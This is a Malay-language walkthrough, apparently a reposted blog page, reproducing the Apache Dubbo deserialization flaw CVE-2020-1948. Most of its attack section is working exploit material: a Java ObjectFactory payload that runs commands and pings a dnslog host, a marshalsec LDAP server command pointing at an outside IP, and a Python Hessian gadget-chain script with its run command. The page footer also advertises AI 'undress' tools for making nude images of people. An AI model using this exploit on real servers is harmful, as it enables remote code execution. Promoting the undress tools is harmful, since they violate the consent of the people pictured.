


Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo
Pengenalan
Dubbo ialah rangka kerja perkhidmatan berprestasi tinggi dan cemerlang sumber terbuka oleh Alibaba, yang membolehkan aplikasi merealisasikan output perkhidmatan dan fungsi input melalui RPC berprestasi tinggi, dan boleh disepadukan dengan lancar dengan rangka kerja Spring . Sistem ini mempunyai tiga fungsi teras, termasuk permohonan kaedah antara muka jauh, toleransi kesalahan pintar dan pengimbangan beban, dan pendaftaran automatik dan penemuan perkhidmatan.
Ikhtisar
Pada 23 Jun 2020, Apache Dubbo secara rasmi mengeluarkan notis risiko untuk pelaksanaan kod jauh Apache Dubbo Nombor kerentanan ialah CVE-2020-1948, dan tahap kerentanan ialah: tinggi. risiko. Apache Dubbo ialah rangka kerja Java RPC sumber terbuka berprestasi tinggi dan ringan yang menyediakan tiga keupayaan teras: penyerahan kaedah jauh berorientasikan antara muka, toleransi kesalahan pintar dan pengimbangan beban serta pendaftaran dan penemuan perkhidmatan automatik. Penyedia Apache Dubbo mempunyai kerentanan penyahserilan Penyerang boleh menghantar nama perkhidmatan atau nama kaedah yang tidak dikenali dan beberapa muatan parameter berbahaya melalui permintaan RPC Apabila parameter hasad dinyahsiri, ia boleh menyebabkan pelaksanaan kod jauh.
Versi yang terjejas
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (secara rasmi tidak lagi diselenggara)
Persediaan persekitaran
Versi jdk bagi persekitaran berjalan dan persekitaran exp tersusun adalah kedua-duanya 8u121 Mulakan persekitaran ujian
java -jar dubbo.jar
Selepas permulaan, ia akan mendengar port 12345
Kerentanan berulang Cap jari perkhidmatan:PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
javac calc.java
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
python3 -m pip install dubbo-py
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
Semak dnslog dan berjaya menerima permintaan
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
Atas ialah kandungan terperinci Bagaimana untuk menganalisis kelemahan penyahserialisasian Apache Dubbo. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Artikel ini akan menulis contoh terperinci untuk bercakap tentang perkembangan sebenar dubbo+nacos+Spring Boot. Artikel ini tidak akan merangkumi terlalu banyak pengetahuan teori, tetapi akan menulis contoh paling mudah untuk menggambarkan bagaimana dubbo boleh disepadukan dengan nacos untuk membina persekitaran pembangunan dengan cepat.

[[443126]] Biar saya mulakan dengan beberapa perkataan Saya sering memikirkan banyak "soalan mengapa" teknikal apabila saya berjalan Kadang-kadang saya berfikir tentang soalan untuk masa yang lama, dan ia tidak selesai sehingga saya dapat meyakinkan diri saya setiap perkara dalam soalan. Jadi saya ingin merakam pemikiran ini dan membentuk artikel, yang boleh digunakan sebagai siri baru. Anda mungkin tidak dapat melihat kod dalam artikel ini, tetapi anda boleh melihat sekilas beberapa masalah yang mudah diabaikan, serta "mengapa" masalah yang lebih mendalam. Hari ini kami membawakan anda artikel pertama, mengapa Dubbo perlu ditulis semula dalam Go Dubbo, yang dilahirkan di Alibaba dan sumber terbuka pada 2011, telah melalui 10 tahun? Pada 2019, ia telah ditulis semula dalam Go dan sumber terbuka Kini dua tahun kemudian, ia telah berkembang daripada versi V1.0.0 asal kepada V3.0.0.

Prakata Sebelum memperkenalkan Dubbo, mari kita fahami konsep asas dahulu: Dubbo ialah rangka kerja RPC ialah Panggilan Prosedur Jauh (panggilan prosedur jauh Ia digunakan dalam seni bina aplikasi tunggal dan seni bina aplikasi menegak Semuanya adalah panggilan prosedur tempatan. Ia membenarkan program untuk memanggil prosedur atau fungsi dalam ruang alamat lain (biasanya mesin lain yang dikongsi pada rangkaian) tanpa pengaturcara perlu mengekodkan butiran panggilan jauh secara eksplisit. Panggilan jauh antara aplikasi seni bina yang diedarkan memerlukan rangka kerja RPC untuk membuat panggilan jauh semudah panggilan tempatan. Rangka kerja Dubbo mempunyai komponen Pengguna berikut, yang memanggil perkhidmatan jauh

Jika anda sudah mahir menggunakan Dubbo, artikel ini tidak sesuai untuk anda, tetapi jika anda ingin memahami Dubbo dan belajar Dubbo, ia sangat sesuai untuk anda.

Pengenalan Dubbo ialah rangka kerja perkhidmatan berprestasi tinggi dan cemerlang sumber terbuka oleh Alibaba, yang membolehkan aplikasi merealisasikan output perkhidmatan dan fungsi input melalui RPC berprestasi tinggi, dan boleh disepadukan dengan lancar dengan rangka kerja Spring. Ia menyediakan tiga keupayaan teras: permohonan kaedah jauh berorientasikan antara muka, toleransi kesalahan pintar dan pengimbangan beban, dan pendaftaran dan penemuan perkhidmatan automatik. Gambaran Keseluruhan Pada 23 Jun 2020, ApacheDubbo secara rasmi mengeluarkan notis risiko tentang pelaksanaan kod jauh ApacheDubbo Nombor kerentanan ialah CVE-2020-1948, dan tahap kerentanan ialah: berisiko tinggi. ApacheDubbo ialah rangka kerja JavaRPC sumber terbuka berprestasi tinggi dan ringan Ia menyediakan tiga keupayaan teras: jarak jauh berorientasikan antara muka

SPI digunakan untuk apa? Sebagai contoh, kini kami telah mereka bentuk rangka kerja pembalakan baharu: "super-logger". Secara lalai, fail XML digunakan sebagai fail konfigurasi log kami, dan antara muka untuk penghuraian fail konfigurasi direka: packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} Kemudian terdapat pelaksanaan XML lalai: packagecom; .github .kongwu.spisamples;publiccl

Penjelasan prinsip dan mekanisme dubbo: 1. Komponen teras; 3. Toleransi kesalahan kluster; , Skalabiliti 9. Keselamatan; 10. Integrasi dengan Spring; Pengenalan terperinci: 1. Komponen teras, termasuk pusat pendaftaran, pusat pemantauan, pengguna perkhidmatan dan penyedia perkhidmatan 2. Prinsip komunikasi Dubbo menggunakan rangka kerja komunikasi rangkaian untuk membuat panggilan perkhidmatan dan sebagainya.

1. Perihalan perhubungan panggilan Dubbo 1.1 Komponen di sini terutamanya terdiri daripada empat bahagian: Pembekal: pembekal perkhidmatan yang mendedahkan perkhidmatan: bertanggungjawab untuk data interaksi protokol antara pembekal dan pengguna Perkhidmatan: maklumat perkhidmatan perniagaan sebenar boleh difahami. Antara muka dan melaksanakan Kontena: Persekitaran operasi Dubbo Pengguna: Pengguna perkhidmatan yang memanggil perkhidmatan jauh Protokol: Bertanggungjawab untuk data interaksi protokol antara pembekal dan pengguna Kluster: Memahami maklumat senarai di bahagian penyedia Proksi: Boleh difahami sebagai ejen panggilan Perkhidmatan pembekal, yang mengambil alih logik panggilan antara muka dalam Pengguna ●Daftar: Mendaftar
